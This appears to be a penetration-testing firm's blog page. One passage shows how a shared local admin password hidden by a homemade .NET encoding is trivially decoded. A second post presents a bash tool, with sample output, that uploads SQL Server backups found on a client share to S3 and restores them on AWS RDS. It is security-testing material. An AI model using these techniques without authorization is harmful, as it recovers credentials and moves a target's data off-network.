Taking another look at our original encrypted password from the batch file we can see it will “decrypt” to: “@D01o$gROup.IO!” which, for the purposes of this writeup, is the shared local administrator password.

Decrypted Original Password

Decrypted Original Password

Another bittersweet moment in information security where, as the riddle is solved, the horrible truth is revealed. Not only is encrypting the password useless in attempting to restrict use of the credentials but the encryption itself is useless in preventing anyone from learning the plaintext of the password. We have seen CTF puzzles designed for children that have provided a greater cryptanalysis challenge than this application.

Diving a bit deeper into the RUNAS_A executable, using ILSpy as RUNAS_A.exe is .NET, we can see that the "encryption" function "EncodePID" involves pairing up random characters with the characters of the password and then base64 encoding the string.

Encryption Function

Encryption Function

The “decryption” function is similarly simple, pulling out every other byte from the “encrypted” password.

Decryption Function

Decryption Function

Ultimately what we have here is a poorly balanced solution and a study in avoidance. There was a need for deploying software, on demand, to end-users. To avoid making every user a local administrator; a single administrator account is reused for every system. To avoid the security restrictions of a commercially available tool; an insecure, in-house application was developed. To avoid the appearance of plaintext credentials within the installation scripts, pointlessly “encrypted” credentials were used. Finally, the golden rule of “Don’t Roll Your Own Crypto” was avoided in spectacular fashion.

Frustratingly to the InfoSec mind, this security train wreck of a solution has been functioning without issue since it was developed and deployed in 2006. The original perpetrators have long since left the organization and, as the application itself has not been a squeaky wheel, it has gotten no security grease.

Hidden issues like these are the sort of findings a penetration test can uncover. Vulnerability scanning will never identify issues like these within a custom application, there will never be a vendor patch or update, and it's too vital an application to just decommission for no reason. A quality penetration test can not only discover problems like this but help demonstrate what the exact impact could be, make the argument as to why things need to change and offer advice on bringing you program back into balance.

Restore a SQL Server Database to AWS

It happens to all testers eventually. You come across a file share hosting dozens of database backups. Giddiness ensues as you realize you have full read access and can copy any of them down to your dropbox, until you notice the database backups are tens, if not hundreds, of gigabytes in size. However, in this particular situation you simply have neither the hard drive space nor bandwidth to pull down a massive database backup and boot up a virtual machine to search through the data in a timely fashion.

Cue Amazon Web Services (AWS). We can upload the database to a secure, non-public S3 bucket and have Amazon Relational Database Service  (RDS) restore the database directly. This means that we can have access to that data in as little as 10 minutes while all the “heavy lifting” is performed by the cloud.

***NOTE: This script can help you demonstrate the impact of test findings without overtaxing your time or hardware but remember to always discuss the potential use of cloud technology during the engagement with your clients before testing begins.

Unfortunately, AWS likes to complicate things and there are quite a few steps involved in performing those two actions. At the bottom is a link to a bash script that will handle the entire exchange. The input is simply the database backup file to be uploaded, as well as the name of the database. After successful uploading and restoration you are provided with a table count and connection details for further queries.

Running without any arguments:

$ ./sql-backup-restore.sh
usage: ./sql-backup-restore.sh options
This script restores a SQL Server database backup to AWS and returns
connection details & a table count

OPTIONS:
   -h      Show this message
   -f      The SQL Server Database backup file (usually .bak)
   -d      Database Name (ex. MYDATBASE)

Running on a test database:

$ ./sql-backup-restore.sh -f /mnt/FileSrv_IP/DB_Backups/JulyDatabaseBackup.bak -d THISISMYDATABASENAME
[*] Creating S3 Bucket to store database backup: s3-sql-restore-wi41zjcsdg
[*] Uploading backup file (/mnt/FileSrv_IP/DB_Backups/JulyDatabaseBackup.bak) to S3 bucket (s3-sql-restore-wi41zjcsdg)
upload: ../JulyDatabaseBackup.bak to s3://s3-sql-restore-wi41zjcsdg/JulyDatabaseBackup.bak
[*] Creating a VPC security group allowing TCP1433 inbound for RDS
[*] Creating the IAM Role & Policy so RDS can access S3
[*] Creating an option group (option-group-sql-restore) to hold the SQLSERVER_BACKUP_RESTORE option for RDS
[*] Adding the SQLSERVER_BACKUP_RESTORE option to option-group-sql-restore group
Username: user34wkeceq
Password: pass9zoacs5
[*] Creating the RDS SQL Server Database - db-sql-restore-rwkmm7hog ~15mins
[*] RDS SQL Server now starting
RDS Still coming up...may take a few minutes
<SNIP>
RDS Still coming up...may take a few minutes
RDS Still coming up...may take a few minutes
[*] SQL Server hostname:
Hostname: db-sql-restore-rwkmm7hog.cicdy9uy2.us-east-1.rds.amazonaws.com
Username: user34wkeceq
Password: pass9zoacs5
[*] Restoring the SQL server database from S3
[*] still restoring the DB
<SNIP>
[*] still restoring the DB
          1 RESTORE_DB                                         THISISMYDATABASENAME                                                    [2019-01-18 1 2019-01-18 16:42:22.087 2019-01-18 16:41:15.730 arn:aws:s3:::s3-sql-restore-wi41zjcsdg/JulyDatabaseBackup.bak                                                                                                                                                                                                                                                                                                      0 NULL
[*] Row count for all tables in the database
Changed database context to 'THISISMYDATABASENAME'.
                         rows
------------------------ -----------
sysclones                          0
sysseobjvalues   
<SNIP>                          1220
sysschobjs                      2428

(94 rows affected)
[*] Run whatever SQL queries you want with:
sqlcmd -S db-sql-restore-rwkmm7hog.cicdy9uy2.us-east-1.rds.amazonaws.com -U user34wkeceq -P pass9zoacs5

Now, while the script relies on Mircosoft’s “sqlcmd” to run the stored procedures automatically, there is nothing stopping you from connecting with something like SQL Server Management Studio for autocomplete and other features.

The tool can be found here: https://github.com/DolosGroup/sql-backup-restore